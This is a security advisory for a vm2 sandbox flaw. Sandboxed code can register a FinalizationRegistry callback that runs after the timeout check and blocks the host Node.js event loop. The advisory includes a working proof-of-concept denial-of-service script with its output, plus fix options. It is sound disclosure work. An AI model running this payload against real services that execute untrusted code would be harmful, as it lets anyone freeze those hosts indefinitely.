CVE-2026-92942: vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)
### Vulnerability Summary vm2's `VM({ timeout })` option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to `VM#run()` (via `doWithTimeout` → `this._runScript(script)` in `lib/vm.js`). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run *after* that call has already returned. `FinalizationRegistry` and `WeakRef` are exposed to sandboxed code completely unmodified — they are not present anywhere in `lib/setup-sandbox.js`'s list of specially-wrapped/hardened globals (only `WeakMap`, `Promise`, `Proxy`, `Reflect`, etc. receive hardening there). Sandboxed code can register a `FinalizationRegistry` callback against an object it creates and immediately drops. `VM#run()` returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via `--expose-gc`) — the engine invokes the sandboxed cleanup callback directly. This invocation is **not** mediated by `doWithTimeout`, `Script.runInContext({timeout})`, or any other vm2 accounting mechanism, because it isn't a new call to `VM#run()` at all — it's the GC's own native callback-invocation path. ## Affected Code & Version - **Repository:** `patriksimek/vm2` - **Version tested:** `3.11.6` (commit `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026-08-14) — the current `main` branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch). - **`lib/vm.js`, `run()` (~line 501) and `doWithTimeout()` (~line 105):** the `timeout` option only wraps the single call to `this._runScript(script)`. No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call. - **`lib/setup-sandbox.js`, lines 1–14:** the module's captured/hardened globals list (`LocalWeakMap`, `LocalProxy`, `LocalError`, etc.) does not include `FinalizationRegistry` or `WeakRef`. Repo-wide `grep` for `FinalizationRegistry|WeakRef` returns zero matches in `lib/`, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors. ## Steps to Reproduce Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with `npm install`. 1. Clone and install: ``` git clone https://github.com/patriksimek/vm2.git cd vm2 && npm install ``` 2. Save as `poc_timeout_bypass.js` in the repo root: ```js const { VM } = require('./lib/main.js'); const CONFIGURED_TIMEOUT_MS = 200; const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS }); const t0 = Date.now(); let runError = null; try { vm.run(` let target = {}; const registry = new FinalizationRegistry(() => { const busyStart = Date.now(); while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ } }); registry.register(target, 'held-value'); target = null; // drop only strong reference -> GC-eligible `); } catch (e) { runError = e.message; } const t1 = Date.now(); console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError); if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); } global.gc(); global.gc(); const timerScheduledAt = Date.now(); setTimeout(() => { const delay = Date.now() - timerScheduledAt; console.log('Host setTimeout(10ms) actually fired after', delay, 'ms'); console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms'); }, 10); ``` 3. Run: `node --expose-gc poc_timeout_bypass.js` 4. **Observed output:** ``` vm.run() returned after 2 ms. Threw: null Host setTimeout(10ms) actually fired after 3000 ms Total wall time since vm.run() returned: 3029 ms ``` 5. **Interpretation:** `run()` returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after `run()` had returned and outside any timeout enforcement. 6. `typeof FinalizationRegistry` and `typeof WeakRef` inside a fresh `VM()` both evaluate to `"function"` with no wrapping, confirming the surface is reachable by design, not by an incidental leak. ## Fix Recommendation Pick one or combine: 1. **Remove `FinalizationRegistry` and `WeakRef` from the sandbox global scope by default.** These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock `timeout` promise. Delete them from the context in `lib/setup-sandbox.js` alongside the other hardening done there, mirroring how other dangerous globals are handled. 2. **If they must remain available**, wrap `FinalizationRegistry`'s constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via `Script.runInContext` with `timeout` again, or by tracking cumulative CPU time via `process.hrtime`/`Isolate::TerminateExecution` if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget `run()` call is today. 3. **Document the gap explicitly** if neither is implemented immediately: the current README/docs describe `timeout` as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (`FinalizationRegistry`) are exempt. any application that runs untrusted code through vm2 with a `timeout` expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (`registry.register(target, x)` then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured `timeout` value. Because the freeze happens asynchronously and disconnected from the triggering `run()` call, it also undermines incident response: by the time the hang is observed, the `run()` call that caused it may be long gone from logs/traces. This is a **timeout-enforcement bypass / uncontrolled resource consumption** issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.
Recommended action
Recommended action
Upgrade affected packages to a patched version: vm2 3.11.7.
Technical details
- Vendor
- Not specified
- Product
- vm2
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source